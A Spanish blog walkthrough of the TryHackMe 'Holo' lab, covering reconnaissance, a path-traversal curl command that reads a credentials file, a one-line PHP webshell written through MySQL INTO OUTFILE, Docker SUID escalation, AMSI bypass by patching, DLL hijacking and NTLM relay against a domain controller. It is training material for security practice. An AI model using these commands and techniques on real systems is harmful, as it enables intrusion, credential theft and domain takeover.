07/04/2012
En el vasto universo de la ciberseguridad, la práctica es la clave para forjar verdaderos expertos. Plataformas como TryHackMe ofrecen entornos controlados, conocidos como laboratorios o "rooms", donde entusiastas y profesionales pueden poner a prueba sus habilidades contra sistemas diseñados para ser vulnerables. Uno de los desafíos más notorios y completos es, sin duda, el laboratorio "Holo". Este no es un reto para principiantes; Holo es un complejo laberinto que combina ataques a aplicaciones web, explotación avanzada de Active Directory, técnicas de evasión de antivirus y movimiento lateral, simulando un escenario de Red Team del mundo real.

A lo largo de este artículo, desglosaremos las fases clave para conquistar el laboratorio Holo, explorando las técnicas y herramientas necesarias para navegar a través de sus múltiples sistemas Linux y Windows. Desde el reconocimiento inicial hasta la comprometedora toma del Controlador de Dominio, esta guía te servirá como una hoja de ruta para entender la metodología detrás de un ataque sofisticado y multifacético.
- ¿Qué es Holo? Un Vistazo General al Desafío
- Fase 1: Reconocimiento y Punto de Entrada
- Fase 2: Explotación de la Aplicación Web
- Fase 3: Escape del Contenedor y Pivoteo
- Fase 4: Escalada de Privilegios en Linux
- Fase 5: Pivoteo a Windows y Evasión de Antivirus
- Fase 6: Compromiso del Dominio con DLL Hijacking y NTLM Relay
- Preguntas Frecuentes (FAQ)
¿Qué es Holo? Un Vistazo General al Desafío
Holo se presenta como un laboratorio de dificultad "Difícil" que enseña vectores de ataque web fundamentales, así como ataques avanzados y a menudo oscuros contra Active Directory. La experiencia está diseñada para emular una operación de Red Teaming, donde el objetivo es moverse sigilosamente a través de una red corporativa, escalando privilegios y exfiltrando información valiosa. Los participantes aprenderán y explotarán una variedad de temas, incluyendo:
- Conceptos básicos de .NET y explotación de aplicaciones web.
- Evasión de Antivirus (AV) y escapes de contenedores como Docker.
- Pivoting y operación con un framework de Comando y Control (C2).
- Técnicas de post-explotación y reconocimiento situacional.
- Ataques específicos a Active Directory como NTLM Relay.
El entorno está compuesto por una mezcla de sistemas operativos, principalmente Windows, con un servidor Linux inicial que sirve como punto de entrada. La clave del éxito en Holo no es solo el conocimiento técnico, sino también la paciencia y la metodología.
Fase 1: Reconocimiento y Punto de Entrada
Toda operación de hacking comienza con una fase de reconocimiento exhaustiva. El primer paso es identificar los activos expuestos en la red. Utilizando una herramienta como Nmap, realizamos un escaneo completo del rango de red proporcionado.

nmap -sC -sV -v -p- 10.200.110.0/24El escaneo inicial revela un servidor web público en la IP 10.200.110.33 con los puertos 22 (SSH), 80 (HTTP) y 33060 (mysqlx) abiertos. El servidor web corre Apache y, tras una inspección más cercana, se descubre que aloja una instancia de WordPress. El siguiente paso lógico es buscar subdominios que puedan albergar aplicaciones menos seguras. Herramientas como Gobuster en modo vhost son perfectas para esta tarea.
gobuster vhost -u http://holo.live -w /ruta/a/wordlist.txtEste escaneo revela subdominios cruciales: dev.holo.live y admin.holo.live. Estos entornos de desarrollo y administración suelen ser puntos de entrada ideales, ya que a menudo carecen de las robustas medidas de seguridad de los sitios de producción.
Fase 2: Explotación de la Aplicación Web
Al investigar el subdominio dev.holo.live, encontramos un script PHP llamado img.php. Este tipo de script, diseñado para cargar imágenes, a menudo es vulnerable a Inclusión de Ficheros Locales (LFI). Mediante la manipulación del parámetro `file`, es posible leer archivos sensibles del sistema operativo subyacente.

A través del análisis del archivo robots.txt en los diferentes subdominios, descubrimos una ruta interesante en el dominio de administración: /var/www/admin/supersecretdir/creds.txt. Utilizando la vulnerabilidad LFI en dev.holo.live, podemos leer el contenido de este archivo:
curl "http://dev.holo.live/img.php?file=../../var/www/admin/supersecretdir/creds.txt"Este archivo revela credenciales de administrador: admin:DBManagerLogin!. Con estas credenciales, obtenemos acceso al panel de administración en admin.holo.live. Dentro de este panel, descubrimos una vulnerabilidad aún más crítica: Ejecución Remota de Comandos (RCE) a través del parámetro `cmd` en el archivo dashboard.php. Esto nos otorga una shell en el servidor web como el usuario www-data.
Fase 3: Escape del Contenedor y Pivoteo
Una vez dentro, el reconocimiento situacional nos muestra que estamos operando dentro de un contenedor Docker. El objetivo ahora es escapar de este entorno aislado y acceder a la red interna. Descubrimos un archivo de configuración de base de datos, db_connect.php, que contiene las credenciales para un servidor MySQL en la red interna (192.168.100.1).
Conectándonos a esta base de datos, encontramos una tabla de usuarios con más credenciales. Más importante aún, el servidor MySQL está configurado de tal manera que podemos escribir archivos en el sistema de archivos del host. Aprovechamos esto para escribir una pequeña webshell en PHP en el directorio web del host:
mysql> select '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/sh.php';Esta webshell en el host nos permite ejecutar comandos fuera del contenedor Docker. A través de ella, establecemos una shell inversa, obteniendo acceso completo al sistema anfitrión Linux (L-SRV01) como el usuario www-data.

Fase 4: Escalada de Privilegios en Linux
Con acceso al host, el siguiente paso es escalar privilegios para convertirnos en el usuario `root`. Al buscar binarios con el bit SUID establecido, encontramos una configuración peligrosamente incorrecta: el binario de Docker tiene permisos SUID. Esto significa que cualquier usuario puede ejecutar comandos de Docker como si fuera `root`.
Podemos explotar esto montando el sistema de archivos raíz del host (`/`) dentro de un nuevo contenedor y luego usando `chroot` para acceder a él. Esto nos da una shell de `root` en el sistema anfitrión, completando la primera fase del laboratorio.
Tabla Comparativa de Herramientas Utilizadas
| Herramienta | Fase de Uso | Propósito |
|---|---|---|
| Nmap | Reconocimiento | Escaneo de puertos y servicios. |
| Gobuster | Reconocimiento | Descubrimiento de subdominios y directorios. |
| Curl | Explotación Web | Explotación de LFI y RCE. |
| CrackMapExec | Post-Explotación (AD) | Ataques Pass-the-Hash y enumeración SMB. |
| Impacket | Post-Explotación (AD) | Ejecución de ataques NTLM Relay. |
Fase 5: Pivoteo a Windows y Evasión de Antivirus
Con el control del servidor Linux, pivoteamos hacia la red interna de Windows. Una de las máquinas, S-SRV01, tiene una aplicación web con una función de restablecimiento de contraseña vulnerable. Interceptando la comunicación, es posible robar el token de restablecimiento de un usuario llamado `gurag` y obtener acceso a su cuenta.

Una vez dentro del primer sistema Windows, nos enfrentamos a un nuevo desafío: el Antivirus y, específicamente, la Interfaz de Escaneo Antimalware (AMSI) de PowerShell. AMSI es un mecanismo de defensa que escanea scripts en memoria antes de su ejecución. Para operar eficazmente, es crucial evadir esta protección. El laboratorio explora varias técnicas:
- Parcheo de amsi.dll en memoria: Se utiliza un script de PowerShell para localizar la función `AmsiScanBuffer` en memoria y sobrescribirla para que siempre devuelva un resultado "limpio", desactivando efectivamente AMSI para la sesión actual.
- Ofuscación: Dado que los antivirus buscan firmas de texto plano en los scripts de bypass, técnicas como la concatenación de cadenas, el uso de aceleradores de tipo y herramientas automatizadas como `Invoke-Obfuscation` son esenciales para disfrazar el código malicioso.
Fase 6: Compromiso del Dominio con DLL Hijacking y NTLM Relay
Después de obtener un punto de apoyo en la red de Windows, el objetivo final es el Controlador de Dominio (DC-SRV01). A través de la enumeración en una máquina de archivos (PC-FILESRV01), descubrimos una aplicación vulnerable a DLL Hijacking. Esta técnica consiste en colocar una DLL maliciosa en una ubicación donde una aplicación legítima la cargará, ejecutando así nuestro código con los privilegios de esa aplicación. Esto nos permite escalar privilegios en la máquina de archivos.
El golpe de gracia llega con un ataque de NTLM Relay. Descubrimos que el Controlador de Dominio tiene la firma SMB deshabilitada, una configuración de seguridad crítica que lo hace vulnerable. El ataque funciona de la siguiente manera:
- Desactivamos temporalmente el servicio SMB en una máquina que controlamos (PC-FILESRV01).
- Configuramos una herramienta como `ntlmrelayx.py` de Impacket para que escuche las conexiones SMB entrantes.
- Forzamos a una cuenta con privilegios (como una cuenta de servicio) a autenticarse contra nuestra máquina.
- `ntlmrelayx.py` captura el intento de autenticación y lo "retransmite" al Controlador de Dominio.
- Como el DC confía en la autenticación, nos otorga una sesión con los privilegios de la cuenta retransmitida.
Con esta sesión, tenemos el poder de agregar nuestro propio usuario al grupo de Administradores del Dominio, logrando el control total de toda la red de Holo.
Preguntas Frecuentes (FAQ)
¿Qué nivel de dificultad tiene el laboratorio Holo?
Holo está calificado como "Difícil". Está diseñado para usuarios con una sólida comprensión de los fundamentos de redes, sistemas operativos y ciberseguridad. Se requieren conocimientos previos en explotación web y Active Directory.

¿Qué es Active Directory?
Active Directory (AD) es un servicio de directorio desarrollado por Microsoft para redes de dominio de Windows. Es un componente central en la mayoría de las infraestructuras de TI corporativas, gestionando la autenticación y autorización de usuarios y computadoras.
¿Qué es un ataque de NTLM Relay?
Es un tipo de ataque de intermediario (Man-in-the-Middle) en el que un atacante captura un hash de autenticación Net-NTLMv2 de un cliente y lo retransmite a un servidor objetivo para autenticarse como ese cliente. Es particularmente efectivo contra servidores con la firma SMB desactivada.
¿Por qué es importante la evasión de AV?
En un entorno real, casi todos los sistemas tienen soluciones antivirus o EDR (Endpoint Detection and Response). Sin la capacidad de evadir estas defensas, las herramientas y payloads de un atacante serían detectados y bloqueados inmediatamente, terminando la operación antes de que comience.
Si quieres conocer otros artículos parecidos a Holo: El Desafío Definitivo de TryHackMe puedes visitar la categoría Juegos.
